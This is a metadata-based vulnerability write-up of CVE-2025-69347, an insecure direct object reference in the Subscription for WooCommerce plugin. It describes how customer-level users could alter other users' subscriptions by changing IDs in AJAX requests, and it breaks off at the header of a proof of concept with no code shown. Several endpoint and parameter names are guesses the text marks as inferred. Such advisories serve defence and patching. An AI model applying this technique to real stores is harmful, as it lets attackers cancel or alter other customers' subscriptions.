Atomic Edge analysis of CVE-2025-69347 (metadata-based):
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Subscription for WooCommerce plugin versions up to 1.8.10. The CWE-639 classification indicates an authorization bypass through user-controlled key. The plugin fails to validate whether an authenticated user has permission to access specific objects referenced by IDs they control.
Atomic Edge research infers the root cause involves an AJAX handler or REST endpoint that accepts an object identifier (like a subscription ID, order ID, or user ID) without verifying the requesting user owns that object. WordPress plugins commonly implement subscription management via admin-ajax.php endpoints with action parameters like ‘subscription_update_status’ or ‘subscription_cancel’. The missing validation allows customers to reference objects belonging to other users.
The exploitation method requires authenticated access with customer-level privileges. Attackers manipulate a parameter (likely ‘subscription_id’, ‘order_id’, or similar) in POST requests to AJAX endpoints. By changing numeric IDs, they can perform unauthorized actions on other users’ subscriptions, such as cancellation, modification, or data retrieval. The CVSS vector indicates network accessibility, low attack complexity, and low privileges, with integrity impact but no confidentiality or availability loss.
The fix in version 1.8.11 likely adds capability checks or ownership verification before processing object references. WordPress plugins typically implement this by comparing the current user ID against the object’s owner ID stored in the database. The patch may also include nonce verification, though the CWE focuses on authorization, not CSRF.
Exploitation impacts subscription management integrity. Attackers could cancel other customers’ subscriptions, modify payment details, or change subscription terms. This could cause financial loss, service disruption, and data integrity issues for WooCommerce store operators. The limited impact scope (customer-level access required) reduces severity, but the vulnerability enables privilege escalation within the customer role.

/**
* Proof of Concept for CVE-2025-69347
* Assumptions based on metadata analysis:
* 1. The plugin uses admin-ajax.php endpoints
* 2. The vulnerable parameter is a numeric ID (subscription_id, order_id, etc.)
* 3. The endpoint lacks ownership validation
* 4. Customer-level authentication is sufficient
